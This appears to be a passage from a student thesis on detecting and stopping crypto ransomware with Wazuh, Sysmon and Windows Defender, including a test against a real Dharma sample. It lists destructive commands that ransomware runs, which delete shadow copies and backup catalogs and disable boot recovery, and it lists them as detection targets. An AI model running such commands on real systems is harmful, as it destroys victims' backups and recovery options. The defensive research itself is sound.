Next some sources for possible detection of crypto ransomware are examined.
Each of these options has its pros and cons, there is no restriction for using them
together (in case one fails). It is important to keep in mind that the Wazuh
server is supposed to manage multiple systems, therefore scalability should be a
concern and maybe only one of the solutions could be used in a real network.
Windows Defender’s Controlled Folder Access
Windows Defender has the option to monitor specified folders for accesses and/or
modification on real-time. This feature is designed to combat the threat of ran-
somware. It includes the option to whitelist applications and two basic modes of
operation[96]:
• Audit: Just notifies about suspicious activity with the event 1124.
• Block: Blocks and notifies about suspicious activity with the event 1123.
These events trigger for any suspicious activity, not only for ransomware attacks,
but their detection is trivial C.11. Windows Defender event log can be forwarded
to Wazuh C.56, allowing to improve the protection provided by Windows De-
fender with Wazuh. The configuration of the whitelisted applications and the
monitored directories can be managed by the Group Policy, the Windows De-
fender interface or the registry.
Windows defender has a set of monitored folders by default and the rest are listed
in Computer\HKEY LOCAL MACHINE\SOFTWARE\Policies\Microsoft\Win-
dows Defender\Windows Defender Exploit Guard\Controlled Folder Access\Pro-
tectedFolders.
Sysmon events for file changes
Sysmon events can be used to monitor changes in folders too, for example moni-
toring the folder C:\temp\:




134 CHAPTER 6. INCREMENT 3
</FileCreateTime>








Unfortunately none of the Sysmon events can detect file deletion, but they can
be useful in other ways:
• Event 2 could detect backdoors, which would change some key file and
restore its previous creation time. It is not uncommon for ransomware to
install them to extort the system in the future. Instead of relying on this
event it is a safer idea to use file integrity monitoring, checking the checksum
of each key file for changes.
• Event 9 can be used to detect direct reading of the device, an alternative ac-
cess method to avoid being detected by traditional file monitoring, like how
NinjaCopy 5.2.1 was used previously to avoid existing file system security
to extract administrator credentials.
• Event 11 can detect the new files, which could be identified as encrypted
files in some cases with active response. Depending on the directory and
the Wazuh rules there may be false positives.
Windows File Auditing
Windows File Auditing is a security feature that can be enabled and configured
for multiple folders, reporting with events [4656-4663].
Windows does not log file activity in an usual way. Instead, it logs granular file
operations that require further processing. These events are usually not logged in
a logical order (first the request, then the operation), making them even harder
to process correctly. The next table tries to describe and show the difference
between these events as simple as possible[90][97]:
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Event ID Name and description
4656 A handle to an object was requested. Logs the start of every file
activity but does not guarantee that it succeeded.
4658 The handle to an object was closed. Logs the end of a file activity.
4659 A handle to an object was requested with intent to delete. Logs a
failed attempt to delete.
4660 An object was deleted. Logs a delete operation.
4663 An attempt was made to access an object. Logs the specific micro
operations performed as part of the activity.
Table 6.1: Windows File Auditing events
More detail and thought is needed to complete the previous table[90][97]:
• If an operation is rejected due to not having enough privileges the only
event issued is 4656.
• Windows only issues the event 4663 when the operation is complete. There
might be multiple 4663 events for a single handle, logging smaller operations
that make up the overall action.
• There are some events that do not appear in the previous range: 4657 is
for registry changes and 4661 and 4662 are for AD objects.
• Events 4656 and 4663 include the accesses property, which refers to the type
of operation: read, write, delete. The field can include multiple values, for
example a rename involves read, delete and write. The problem of this field
is that it does not follow an intuitive interpretation of these types of basics
operations.
– WriteData implies that a file was created or modified unless a delete
access was recorded for the same handle. The only way to know if it
was created or if it was modified is to know if the file existed before,
for example with a database.
– ReadData is logged almost in every case, resulting in only being a
normal read if none of the others are recorded.
– Delete also includes move events. Move events do not spawn 4659 or
4660 events.
• The path included in the event may be the device path, for example \\
Device\\Harddisk-Volume3\\openssl\\bin\\bftest.exe, instead of the nor-
mal volume path like c:\temp.
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We can conclude that these events are not as easy to handle as they could be,
but they can still be used for the detection of ransomware.
Syscheck Monitoring with Wazuh
Wazuh can check file changes directly checking checksum differences with the
Syscheck module, this is known as File Integrity Monitoring. Each agent main-
tains its own database for better performance.
The monitoring needs to be configured C.12 in the agent, instead of the manager.
This generates Syscheck events that can be processed by rules, triggering alerts.
Syscheck has many options, like files to be ignored (which can also be done with
rules) or the maximum recursion level to monitor.
The most interesting features of Syscheck for this project are[2]:
• Real-time monitoring. It can only be set at folder level, not directly for
files, but that can be worked around with ignores in fixed cases or match
restrictions in rules.
• Scheduled scan. Interesting from a scalability point of view for checking
security settings and looking for rootkits, but not useful for immediate
detection.
• Immediate scan. The agent can be ordered to do a scan at any time. This
is interesting to combine with active response.
• The creation and deletion of files can be detected too.
Comparison of the different monitoring alternatives
The previous analysis is interesting but a conclusion is yet to be reached. Each
of the next tables shows a simplification of the advantages and disadvantages of
the examined methods:
6.2. COMMON PATTERNS IN CRYPTO RANSOMWARE 137
Advantages Disadvantages
• It allows the accesses to be blocked
(in Block mode).
• It can detect any kind of creation,
modification and deletion.
• False positives are uncommon.
• Provides abstraction to the end user.
Windows decides which programs are
legitimate.
• Legitimate whitelisting. Blacklist-
ing can be implemented with rules in
Wazuh.
• Fundamentally faster active re-
sponse than Wazuh, which adds mul-
tiple steps to the direct response of
Windows Defender in block mode.
• The logs do not include the filename,
just the folder path.
• The logs do not explain the reason
to find the event suspicious.
• The logs do not detail the kind of file
event (creation, modification or dele-
tion).
• It is an external program, therefore
it can not be totally trusted to work
on complex cases.
• It is one of the most and first defen-
sive programs targeted by attackers.
• The whitelisting may need manual
adjustment, for example allowing the
Wazuh agent.
Table 6.2: Advantages and disadvantages of file monitoring with Windows De-
fender
Advantages Disadvantages
• They can detect other malware ap-
proaches to the files.
• They can not be used to detect any
kind of changes.
• Real malware can be hard to tell
apart from false positives.
Table 6.3: Advantages and disadvantages of file monitoring with Sysmon events
Advantages Disadvantages
• They can be used to detect any kind
of creation, modification and deletion.
• They can be too complex and
counter-intuitive. Following their flow
requires composite rules in Wazuh.
• Lack of critical information in the
logs.
• Real malware can be hard to tell
apart from false positives.
Table 6.4: Advantages and disadvantages of file monitoring with Windows File
Auditing events
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Advantages Disadvantages
• They can be used to detect any kind
of creation, modification and dele-
tion.
• Diff is supported for text files.
• They always include critical infor-
mation, like the filename and the pro-
gram.
• Real malware can be hard to tell
apart from false positives.
• The format of the events is not
suited for field matching.
• Windows Defender may identity it
as a thread and stop it.
Table 6.5: Advantages and disadvantages of file monitoring with Syscheck events
From these tables we can conclude that:
• Fast local action is more suited to antivirus than IDS, therefore it makes
sense to turn to Windows Defender for this feature. Further actions can
still be implemented with Wazuh active response. For the others the active
response is still possible, but slower.
• Windows Defender is the most attractive method to detect and stop the
malware, but there are risks in only trusting Windows Defender.
• Because it is hard to detect the creation of new files with the Windows File
Auditing it makes sense to use the event 11 of Sysmon for this, and likewise
Sysmon can not detect file deletion which this security auditing can. But
both have fundamental problems with false positives.
• Direct monitoring with Wazuh seems to be easier and more effective that
combining Windows File Auditing with Sysmon, but it should be funda-
mentally slower because it needs to compare the checksum in order to detect
any changes.
• The Sysmon events 2 and 9 are always useful to find suspicious events with
a low chance of false positives.
• Windows Defender detects the attack on its own, while the others need to
relate multiple events in a short period of time with Wazuh’s composite
rules.
Protecting Windows Defender
If Windows Defender is chosen for protection against ransomware then it makes
sense to improve the protection of Windows Defender because it is very targeted
by attackers. This project can not afford much time on this task, but it can
provide a solution for the most basic way to deactivate Windows Defender com-
pletely or just any of the features against ransomware. The easiest way for an
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attacker to do this is to use the Windows registry, therefore enabling or disabling
directly the functionality in question.
Access to the registry can be hardened, but in this case it is assumed that not al-
lowing access to registry editing tools is not enough to prevent an skilled attacker
from doing so. Note that blocking the access with Windows Resource Protection
should make them inaccessible for both the attacker and these scripts.
In the end protecting a program is a complex problem that does not only affect
Windows Defender (the Wazuh agent is a similar case) and is impossible to fully
solve, but measures can be taken nonetheless.
There may exist better ways to undo registry changes, but none were found.
The objective is to assure that certain entries never are set to 1 and that other
entries are always set to 1. In the registry the value 1 often means the setting is
enabled. In this scenario we assume the system has the entries with the desired
values from the beginning.







And the entries to keep their value as 1 are in HKLM\SOFTWARE\Policies\Mi-





Wazuh can monitor the registry for changes, but not creation, and Windows also
has auditing features that allow to monitor the registry, but Sysmon seems easier
to configure. Periodic checks for changes, in case an event report was lost, can
easily be done in Wazuh with the remote command feature. Other real-time
checks could also be implemented, like ensuring the Windows Defender process
is running as expected.
Monitoring the registry for creation, deletion, value changes and renaming can
be done with Sysmon events [12-14] respectively. In this case we only need to
monitor a few entries C.21. These events can be a bit odd:
• The Windows registry can use a temporary name for an entry, at least when
manually creating one with the graphical user interface.
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• There is no need to change the value in order to spawn an event 13, the
execution of a change command is enough.
• An entry can be created with the desired value directly, only spawning an
event 13.
• In the case of renaming there may not be an event of ID 14, but one of
ID 13 (with the old name) followed with an event of ID 12 (with the new
name).
This means that the easiest way to manage them is to:
• Delete or set to 0 the entries to avoid being 1. This should be triggered by
any of the [12-14] events, except the event 13 when the value is set to 0 (to
avoid recursion).
• Create and set to 1 the entries that always should be 1. It should only
happen when the entry is deleted or renamed.
• Set to 1 the entries that always should be 1. It should only happen when
the entry is changed.
The rules to accomplish this are very simple C.22. The only detail that can lead
to confusion is the use of the field tag to filter the event ID instead of using the
if group tag, which is because if sid with if group interact as a logical OR, but
if sid with field interact as a logical AND.
These rules cover the previous cases with the active response configuration C.23.
The active response command is executed on the agent that triggered the alert,
running a CMD script, which runs a PowerShell script. Direct execution of Pow-
erShell is not possible yet. This configuration is documented from C.24 to C.31.
For undesired entries changing the value and the deletion can both be used.
In this case the entries were grouped for both rules and active response scripts,
therefore instead of executing the command for only the affected entry it is done
for the whole group. This could be solved in multiple ways:
• Having an alert and active response command for each entry.
• Sending the affected entry name as an argument. This can not be done yet
in Wazuh.
• Having the final PowerShell script check manually the status to only work
on the affected entry.
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None of them were implemented because they are not worth the time for the
little computer power that could be saved instead of just running the script for
all the related entries. The main problem with this approach is the management
is harder than if it were centralized.
Reducing false positives with decoys
In this case the problem with detection methods other than Windows Defender’s
Controlled Folder Access is there is no guarantee that the reported events are
from normal and legitimate operations. There are many circumstantial solutions
like: maintaining a list of allowed applications or looking for suspicious behaviour
(for example many files created and later deleted in a short time). But none of
them are guaranteed to always work by default. Instead a simpler approach was
implemented: use decoys and look for suspicious behaviour. Because Windows
Defender does not provide the filename decoy filtering can not be used with it.
The deletion of files was chosen as the suspicious behaviour to detect, but mass
creation of files can also be detected and identified as suspicious.
Decoy files are files that appear to be normal files but should never be changed or
deleted by a legitimate user. Therefore if there are such events paired with other
suspicious behaviour in a short amount of time it should mean that a ransomware
attack is going on.
A similar option is to use a directory that contains itself in a loop, created by a
special mount configuration. This has a chance to make the attack get stuck until
some kind of defense mechanism is deployed. They are also known as Honeyfiles
and Honeydirectories respectively[92].
These restrictions can be increased to reduce the chance of generating false posi-
tives at the risk of losing real positives. Increasing the required number of other
deleted files over the minimum of two C.14, for the decoys and Wazuh composite
rules, in contrast with the normal rules C.13.
There are ways to hide decoy files for normal users and to automate their cre-
ation, but that is trivial and not the objective of this section. To reduce the file
storage used by the decoys hard links and soft links could be used, but there is
no guarantee that ransomware would treat the files exactly as the rest, therefore
reducing the chance of the detection to work.
In this example the decoys are just named decoy1 and decoy2 for simplification.
Two decoys are used instead of only one with a complex way to duplicate its alert
(like using active response), because the storage space should not be affected by
this and it is easier.
Decoys proved to work on testing with the encrypting script 6.1 and detection
with both Windows File Auditing C.15 and Syscheck Monitoring with Wazuh
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C.13.
Reducing false positives by detecting their type
There are other ways to reduce false positives in this scenario, for example scan-
ning the executable responsible for known malware signatures. In this case the
explored solution is to check if the new or modified files are encrypted.
It makes sense to assume that the monitored folder should have some kind of
expected content, therefore making it possible to predict their type of file. Of
course these files still have a chance of being from a legitimate process and the
type of the files can be crafted to look like something else. There is no need to
save the encrypted files in the same directory, but is worth checking it.
There are two ways to identify suspicious formats:
• By exclusion: Matching everything that is not a set of types. Optimal if
the type of content is known. It has a higher risk of false positives, but it
should detect more encrypted files.
• By inclusion: Only matching a set of types. Optimal if the type of content
is not known. It provides less false positives at the cost of real positives.
This is the choice in this case, because the other option depends heavily on
the target.
Identifying generated files as encrypted can be done by scanning the contents of
the file and matching signatures and by matching the file extension to a list of
suspicious signatures. A detection example with a list of suspicious extensions[98]
for modified files is shown in C.16. There are several programs that scan the con-
tents with high accuracy and in this case Trid[28] was chosen.
In this case the the folder is monitored in real-time with Syscheck C.12 and
the detection C.17 of mass creation or modification of files in the folder triggers
an active response C.18 script C.19C.20.
The script gets the created or modified files in the folder in the last minutes. This
is done by reading the folder and by querying the local event log of Sysmon for
events of type 2 (in case the malware changes the creation timestamps).
Each file is processed by Trid and the output of the command is written to the
Application log (because active response does not allow to feedback output to
Wazuh), which is forwarded to Wazuh (by default) and processed by rules C.17
for the strings of interest.
This was also tested successfully with the encrypting script 6.1. Even thought
this method has room to improve its efficiency, it should be fast enough to work
as a last resort in a real environment.
6.2. COMMON PATTERNS IN CRYPTO RANSOMWARE 143
6.2.3 Backup deletion
Backups provide effective mitigation against crypto ransomware attacks in most
cases. There are many scenarios between distributed backups in servers across
the world and just having local backups. Their ability to overcome ransomware
attacks depends on multiple factors like: the exact malware, the distribution of
the backup system, the security of the backup system, etc.
In this case we assume the target only has local backups in a dedicated volume
that are managed with the Shadow Copy service, which allows files to be copied
even when in use. Some known ransomware like Locky and Cerber try to delete
existing Shadow Copies with these commands[92]:
C:\Windows\system32\vssadmin.exe delete shadows /all /quiet
C:\Windows\system32\wbem\wmic.exe shadowcopy delete
Only vssadmin was used for testing because wmic is just the same but from re-
mote (and it is even easier to detect because it has three specific Sysmon events).
A new disk was added to the virtual machine of the SMB server to serve as a
Shadow Copy storage on the F: drive. This and a network disk are the most
basic methods for scheduling backups using Shadow Copies, due to Windows re-
strictions.
It is not possible to detect the deletion of Shadow Copies with previously ex-
amined file monitoring methods, because they are not in the file system of the
volume, they are managed directly by the Shadow Copy service as special stor-
age.
The detection of the commands in plain text is trivial and similar to previous
examples with Sysmon C.32 and rules in Wazuh C.33.
The most obvious mitigation in this case is to restrict the use of these commands,
for example with AppLocker.
Other commands to watch out with Wazuh C.34 and Sysmon C.35 can disable
recovery with backups and delete backups and the backup catalog created with
the Windows Server Backup snap-in[99][100]:
bcdedit /set bootstatuspolicy ignoreallfailures
bcdedit /set recoveryenabled no
wbadmin delete systemstatebackup
wbadmin delete catalog -quiet
Monitoring the free space of the backup volume
Following the previous scenario the backups are stored locally in a dedicated
volume. The free space of the volume should be reduced with each backup and
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increased with the deletion of existing backups.
The deletion of backups is usually done to free space to be able to create new
backups, therefore is done only by a trusted member or resource. This means
that if the free space increases and it was not done by us it must an attack, with
a high risk of being a crypto ransomware attack.
The scripts and configuration used in this example need to be adapted to ignore
planned deletions.
The basic elements of this monitoring with Wazuh are:
• The remote script to get the free space of the volume.
• A way to store the previous free space of the volume:
– A CDB database. It requires a compilation of the database and the
restart of the Wazuh service each time the list is updated.
– A SQL database. Wazuh can save the alert output to a SQL database,
but there is no way to select which are saved and which are not, is
either all or none. Having a SQL database just for one integer is not
efficient at all.
– A variable. Wazuh does support variables, but does not support the
extraction of substrings to variables. The service would need to be
restarted for each variable change.
– A file. Is the most efficient and simple way.
• A way to compare the values. Wazuh does not support numeric comparison,
therefore a external command is needed.
This process is still possible, but much more complex that it should be, mainly
due to the current state of Wazuh:
• Lack of numeric comparison in rules.
• Restrictions on the arguments to the active response command. The active
response would be much better if fields or substrings of the alert could be
send to the command.
• Having the output of an active response command being processed a an
event, like it can be done with remote commands.
There are two ways to do this with the functionality of Wazuh at this time:
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• Use only a remote script C.37 and keep the storage file in the client. Much
more easier and efficient, but less secure. The script only reports back if
the new value is greater, making the rules C.38 trivial.
• Use a remote script C.39 to fetch the free space data, processing the data
is done in the server with an active response C.40 script C.41, a file for
storing the last value and another log to provide feedback C.40 in order to
create a new alert C.42. This is more complex and expensive in resources,
but more secure.
6.3 Active response against crypto ransomware
After the detection of a ransomware attack by any of the methods previously
shown it is essential to stop or reduce the impact of the attack as soon as possi-
ble. There is no way to guarantee that a security expert is present at the time or
that manual action is fast enough, therefore the process needs to be automated.
Because the detection is never 100% free of false positives, the incident response
needs to be proportional and as less intrusive as possible for the normal execution
of the system.
The methods considered for the active response script were:
1. Isolate the affected system to make sure that the infection does not spread
further. By disconnecting it from the Internet and maybe from the network,
or just by dropping certain kinds of packages. This may require a selective
process, for example to isolate it from other Windows machines but not
from the Wazuh server.
2. Mitigate and stop the execution of the program responsible for raising the
alerts.
(a) Restrictions at program level may stop the attack, even if it is just
for a short time. For example ensuring no instances of the suspicious
executable are run for some minutes by killing them periodically or
by blocking its use. These can be effective against basic automated
malware, but a smart attacker can overcome them pretty easily.
(b) An easy way to stop files being encrypted or deleted is to lock them
before the malware does, but this can be overcome for example by
accessing the device directly with NinjaCopy 5.2.1.
(c) Change file permissions and ownership for a short time. If the malware
is not running with high privileges it can be effective. This needs to
be reversed later and it should be protected with mutexes.
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(d) Usually crypto ransomware only works on certain paths, which means
that moving the files elsewhere might avoid the encryption. This is not
that simple because in NTFS the files still can be identified by special
ids, the new path needs enough free space and the process needs to be
reversed.
(e) As a last resort, turning off the computer can stop the encryption
process and critical data can be retrieved from RAM using special
software.
In this example C.43 no actions that are hard to reverse later were implemented,
simplifying the active response process but making it less effective, leaving out
2.(c) and 2.(d). 2.(e) was also not included because the lack of time for the re-
search on data retrieval from RAM, but turning off the computer can be done
with a simple Stop-Computer command.
In this case the active response in Wazuh was actually using the integrator mod-
ule C.44 with a custom script C.45, using previous rules from Syscheck C.13 and
Trid C.17. This actually is a couple of seconds faster without the Trid rules, be-
cause then much less processing power is being used in the Trid active response
script to determine if the files are encrypted or not. Integrator[101] was used
instead because slightly more efficient and faster because the log of the triggering
alert is available directly, instead of having to search the alert log (which can be
huge) with a custom command.
6.4 Testing with real crypto ransomware
The configuration created in this chapter C.46 was put together and slightly mod-
ified to test it with a real crypto ransomware software. The malware chosen was
the cmb version of Dharma[29], which is called that because it encrypts files with
the cmb extension.
This version is almost a year old and has been analyzed by multiple parties, but
it still works in mid July of 2019 because the Command and Control servers are
available due to a recent Dharma campaign. This is interesting because it gives
the chance to study a working crypto ransomware which uses a C&C and there
are previous studies to know exactly what is going on.
The objective of this ransomware is any kind of personal file. In this case it en-
crypted pictures, videos, text files, shortcuts, etc, but not executables or scripts.
The actions of Dharma in order were[29]:
1. Remove existing Shadow Copies.
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2. Disable the OSSEC agent.
3. Encrypt the files.
4. Show a message demanding for Bitcoin payment.
Figure 6.4: Dharma ransom message
Five tests were needed in order to make sure of the exact process of the malware
and to manage to stop it with active response. The previous test was run on the
same conditions but it was not able to stop the malware even thought the same
alerts were triggered. This could be caused by several factors like overload of the
server or the agent, race conditions or logic errors.
Next is a summary of the problems, causes and their solutions in this tests:
• The main problem in this case was that the resource usage in the Windows
machine tested was so high that any simple command took much more
time than normal. This can cause problems to programs that need a lot
of system resources to work property, like the OSSEC agent. The active
response was triggered too late to act before the encryption was complete
or almost complete, making it useless.
The solution was to use an early but reliable malware detection, which
was not used before because it was not necessary. The detection of the
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program as malware by Windows Defender was almost instantaneous and
its events (62103 and 62104) include the process responsible, making it easy
to extract. Once the executable is known it is just a matter of executing a
trivial command to stop it.
• The OSSEC agent was not configured to handle so many events together,
resulting in a congestion of events to be reported to the manager, which can
result in events suffering delays and arriving out of order and in some cases
they saturate the manager because it can not process them fast enough.
Wazuh has anti-flooding mechanisms[102] that can help with this situation,
but there is no way to give priority to a type of event over the rest at the
moment, making the anti-flooding features only useful for situations where
fast and reliable action is not required. Of course this would not happen if
the agent and the manager were on the same machine, but that would also
result in other issues. In the end the problem remains unsolved because it
is mainly caused by the excessive CPU usage of Dharma.
• The only measure that worked against the ransomware was to kill it, either
by knowing the ID of the process or the name of the executable. This was
because disabling the Internet adapter is just for stop it from spreading and
locking the files was too slow to have any effect.
• Another problem was that the script C.51 to stop and mitigate the ran-
somware was too slow (mostly due to the overhead of running it with SSH)
and it did not provide any real benefit from it.
Instead of running the script it was more effective to just kill the process,
which was the interesting part of the script after it was clear that the rest
was useless.
This resulted in a new integrator script C.50, which is more simple and effective
than the previous C.49.
Windows Defender identified the malware correctly as a Dharma variant. The file
was allowed to bypass the disk control of Windows Defender, in order to execute
it as a .exe with the file explorer (as a normal user would do).
6.4. TESTING WITH REAL CRYPTO RANSOMWARE 149
Rule ID Description
62103 Windows Defender detected potentially unwanted software.
62104 Windows Defender’s action against potentially unwanted software.
333050 Windows Defender’s Controlled Folder Access protection against a
suspicious event.
333015 Many file modifications in a short time.
333016 Many file creations in a short time.
333017 Many file deletions in a short time.
333019 Suspicious mass deletion of tiles in a short time.
333026 File added with a suspicious extension.
333039 Mass deletion or attempts. Detected with Windows File Auditing
events instead of Syscheck like the others.
333110 Backup deletion with vssadmin.
333103 The free space of the backup volume was increased.
Table 6.6: Most relevant rules that generated alerts with Dharma
None of the monitored file events of Sysmon (type 2 and 9) were registered and
none of the monitored registry entries was modified, but the malware always
tried to disable the OSSEC agent before starting the encryption. Dharma just
changed the configuration files and restarted the agent, resulting in an agent
without configuration, therefore running but not reporting. If the directory in
question (C:/Program Files (x86)/ossec-agent/ ) is protected with Windows De-
fender then no harm is done and the agent runs as usual.
Detecting the deletion of backups works and is almost instantaneous because
the malware is not encrypting files yet, but it does not provide any useful infor-
mation to identify and stop the origin.
Trid was discarded after the first test because it failed to identity the new files
as encrypted and it was very expensive on resources. Next is an example of Trid
reporting an encrypted file as a set of harmless data:
Figure 6.5: Result of running Trid on a fully encrypted file by Dharma
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This is a good example of how a detection system can fail even when working
perfectly in isolated tests, but it also shows how is possible to overcome these kind
of problems with the right data. Stopping the ransomware with active response
seems to work only under certain conditions and the whole chain of events is very
easy to disrupt by a program with enough privileges. Therefore it is not a better
option than using local antimalware software.
6.5 Mitigation
Ransomware does not need any particular weakness or vulnerability to work on a
system, but the better protected the system is the harder it is for it to be victim
of a ransomware attack. Next are some of the most basics measures to mitigate
ransomware attacks[92][93][96]:
• Prevent the ransomware from accessing the Windows Registry: Ransomware
can use the registry to maintain persistence through reboots and to disable
security features on the victim machine. Administrators can disable writing
to at least certain registry keys using Windows Resource Protection.
• Cyber insurance: In some cases it may reduce certain costs, like: notifica-
tions costs to data breach victims, loses from offline periods, legal defense
costs and forensics and investigation costs.
• Using decoy resources: They can be used to detect unplanned accesses or
changes and to find vulnerable systems (using honeypots).
• Security awareness and education: It is important to teach the basics of
cybersecurity threats to its targets. For example being careful with web
browsing and everyday documents like PDFs or Microsoft Office documents,
all of which can contain malware that runs on access.
• Fundamental security controls: They provide the base for the cybersecurity
of the system. Their vulnerabilities may allow or increase the scope of all
kinds of attacks. They may change from system to system, but the basic
are: backups, penetration testing, patching, software updates, firewall, an-
timalware software and advanced security options (like Exploit Protection,
Secure Boot and Early Launch Antimalware).
• Granular permissions and isolation: Minimizing the available administrator
accounts to attackers, by reducing its number and keeping them as isolated
as possible, is a good way to mitigate their threat. For example it makes
sense to require administrator privileges for the backup service, which is
key for crypto ransomware, even when they are remote backups. They
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can mean the difference between compromising just a system or the whole
network, when a system becomes a central point of failure.
• Restrictions to unnecessary services and software: They may not be enough
to keep the attacker away from using the software, but at least they prob-
ably would rise some alerts or slow the process. In some cases the attacker
may reconsider the target to not be worth the effort. Some of the recom-
mended restrictions are about: Tor, PowerShell, vssadmin, wmic, certain
directories and not digitally signed software.
• Restrictions on the allowed folders to run executables: For example if mal-
ware manages to overcome the digital signature check it can be stopped if
it is executed from a suspicious directory or from none at all. This may
help even with cases where the user is not aware that he is running a pro-
gram. In Unix-like systems this can be done when mounting devices with
the noexec option.
• Removing unused devices: Basic action to prevent possible further infec-
tion spreading. It should be applied to physical devices like: mapped drives,
USB storage devices or memory sticks and smartphones. All writable de-
vices should be removed from a station when not in use.
• File exchange management: Many businesses need file sharing to work on
collaboratively. Once the process of file sharing becomes a routine, security
gets on wobbly feet. To keep the file system safe, organizations should es-
tablish best practices for sharing data and files in a safe and secure manner.
An effective way to minimize risks is application of digital signatures.
• Response plan development: At a moment of crisis, decision-making can
be weak exacerbating the consequences of the infection. Developing a solid
plan for fighting malware infections is the first mitigation task that should
be completed by the responsible business leaders in the organization.
Next is a quick five-step guide for businesses under attack:
– Disabling sync features: Enabled syncing features makes it easier for
offenders to instigate attacks that will overwrite files, especially when
they use crypto ransomware. By disabling sync features you can pre-
vent targeting data in the cloud.
– Removing malware from the affected devices: There are two basic ways
to do this: scan the systems or replicate the system from scratch. The
first option is usually faster but there is no 100% guarantee to detect
the malware, while the second needs preparation beforehand (for ex-
ample with backups) and time with services unavailable. Replicate
the system from scratch can be much more easier and faster with vir-
tualization management.
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– File recovery: Depends on the system version in use and there may be
data that can not be restored.
– Blocking the payment transaction: Under certain circumstances, the
payment transaction can be blocked, even if you have already started
the payment process.
– Contacting law enforcement and reporting the crime: It is important
not only for taking action in the concrete case, but also for predicting
and protecting against future cases. Sending a report to the relevant
software authorities is also recommended. If there were more reports
then there would be more data on ransomware attacks, making it easier
to defend against them.
6.6 Conclusion
Ransomware is an important security threat nowadays and Wazuh can be used to
detect and stop it. This chapter has analyzed multiple ways to implement custom
detection and action, but many complex problems involving Wazuh can still be
solved. Configuring Wazuh may not be trivial, but it can provide administrators
with more data and protection against this kind of malware, even without third-
party tools.
However is not a good idea to rely just in Wazuh for stopping the malware,
because in the end it uses custom scripts that may or may not work. This is a




This project has shown how Wazuh can be used to improve the cybersecurity
of a system, in some cases without the need of expert knowledge in scripting or
pentesting.
Wazuh has been under development for some years and there are still parts that
lack basic functionality. This project has tried to show and fix some of them,
without changing the source code in order to have more time for other tasks.
The main use of a HIDS should be to gather and process data in order to detect
security threats. Wazuh provides a set of features that make it a very good tool
for monitoring system behaviour, but not as good in other aspects.
Stopping the threats can be too much for this kind of system, there are obvious
limitations that make it impossible to be as effective as a local antimalware soft-
ware. Trusting user scripts for defensive security is very risky and bound to fail
sooner or later.
Even though in this project only the server runs GNU/Linux it is clear from
its management and the documentation that Wazuh is less suited for Windows
systems. Many workarounds and third-party tools are needed because of this.
Therefore it is assumed that the project could have advanced faster if it were on
GNU/Linux security instead of Windows.
Using an incremental methodology proved to be a right choice because there
were many desired features that were left behind because lack of time. It also fits
very well with the work flow in this kind project, with very simple development.
The essential requirements and increments were satisfied and a bit more depth
than initially planned was applied in many cases, resulting in what we consider
a higher quality for the product.
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7.2 Additions
Multiple ways to detect and act against malware have been analyzed in this
project, but this is just the tip of the iceberg and much work remains to be done.
There are many features and research that could improve the current state of
Wazuh as a reliable cybersecurity tool:
• All the ideas left behind in this project due to lack of time. They are
explained in the exclusions part of the scope section 4.1.6. In most cases
they are related to other technologies or tasks that could require an entire
project by themselves.
• Ability to set real variables in the rules, instead of the current ones that are
actually constants because they need a restart of the service to be updated.
Unfortunately this can also result in a loss of performance for processing
the rules.
• A functional database system for all kinds of data, instead of the current
CDB that only is useful for IP addresses. This would solve the problem of
just monitoring a value, like the case of the free space of the backup volume
6.2.3.
• Having more decoders for common monitoring commands in Windows, in-
stead of having to write your own or parse the output of the command with
an script.
• Executing remote commands with direct feedback to the manager, instead
of having to use workarounds like writing to a monitored log.
• Active response directly with PowerShell, instead of having to use CMD or
SSH. This is in development.
• Active response with dynamic arguments from the alert, instead of pro-
cessing the alert manually with a local script and using another program
(in this case SSH) for the remote execution. Not to be confused with the
dynamic fields for decoders.
• Option to have only a frequency of 1 in composite rules, which is not such
a rare need, instead of needing workarounds for it.
• Integration with local antimalware software. This has been done using APIs
and custom scripts with some software (like VirusTotal) but not with others
as basic as Windows Defender.
• Integration with other IDSs. This can provide detection features based on
behaviour or network data that Wazuh can not gather on its own.
• Further research and development in any of the parts treated in this project.
Appendix A
Glossary
AD: Active Directory. The directory domain of Windows systems, though it can
be also used by GNU/Linux with Samba.
AES: Advanced Encryption Standard. Popular symmetric encryption algorithm
with different key lengths.
API: Application Program Interface. It is a set of subroutines, functions and
procedures from a library to be used by other software.
AWK: Programming language created by Alfred Aho, Peter Weinberger, and
Brian Kernighan, used mostly for string parsing.
Bitcoin: Cryptocurrency or form of electronic money. They are sent directly
from user to user on the bitcoin peer-to-peer network.
CDB: Short for constant database. File format and library for item creation
and reading in a database at fast speeds.
CMD: The basic command interpreter for Microsoft systems. Its process is
cmd.exe and the .cmd files are known as batch files.
C&C: Command and Control server. Used to control ransomware remotely.
DC: Domain Controller. In this case a server that runs part of an Active Direc-
tory domain. The main DC is named Primary Domain Controller.
DLL: A Dynamic Link Library file. It is a grouping of code or data for pro-
grams of the system. It is in a separate file for easier management or better
performance.
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ELK: Elasticsearch, Logstash and Kibana. Stack used for Wazuh to gather
and transform data.
False positive: Event that is classified as a match for a rule, when it should not
be, because the scope of the rule is too big.
Golden Ticket: Forged TGT that normally provides access as administrator
of the AD for 10 years.
GPDR: General Data Protection Regulation. Regulation in EU law on data
protection and privacy for all individuals within the European Union and the
European Economic Area. In practice in this project means law protected files
against changes.
HIDS: Host-based Intrusion Detection System.
ICS: Industrial Control System. They are control systems for critical tasks.
Normally they are used for industrial control, but in this project we consider any
purpose, like data analysis.
IDS: Intrusion Detection System. Mitigates the damage of intrusions, providing
passive protection by alerts.
IPS: Intrusion Prevention System. Minimizes the chance of intrusions, providing
active protection by actions.
IoT: Internet of Things. Term used to refer to many everyday devices with
an internet connection.
KDC: Key Distribution Center. Service that handles the Kerberos requests.
It runs in a DC.
Kerberos: Computer network authentication protocol that uses tickets to al-
low computers over a network to authenticate in a secure manner. Windows
2000 and later uses Kerberos as its default authentication method.
KRBTGT: Kerberos super-administrator account, used for encrypting all the
authentication tokens for the DC. It is hidden, local, can not be deleted, neither
the name changed.
Metasploit: Penetration testing framework. There are Windows and GNU/Linux
versions.
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Meterpreter: Meterpreter is a Metasploit attack payload that provides an in-
teractive shell from which an attacker can explore the target machine and execute
code. Meterpreter is deployed using in-memory DLL injection.
Mimikatz: Program to extract authentication data or generate forged authen-
tication tickets. In this project we use it for extracting the KRBTGT hash and
generating Golden Tickets.
NTFS: New Technology File System. Main file system of Microsoft systems.
LSA: Short for Local Security Authority Subsystem Service (LSASS). Process
in Microsoft Windows operating systems that is responsible for enforcing the se-
curity policy on the system. It verifies users logging on to a Windows computer
or server, handles password changes, and creates access tokens.
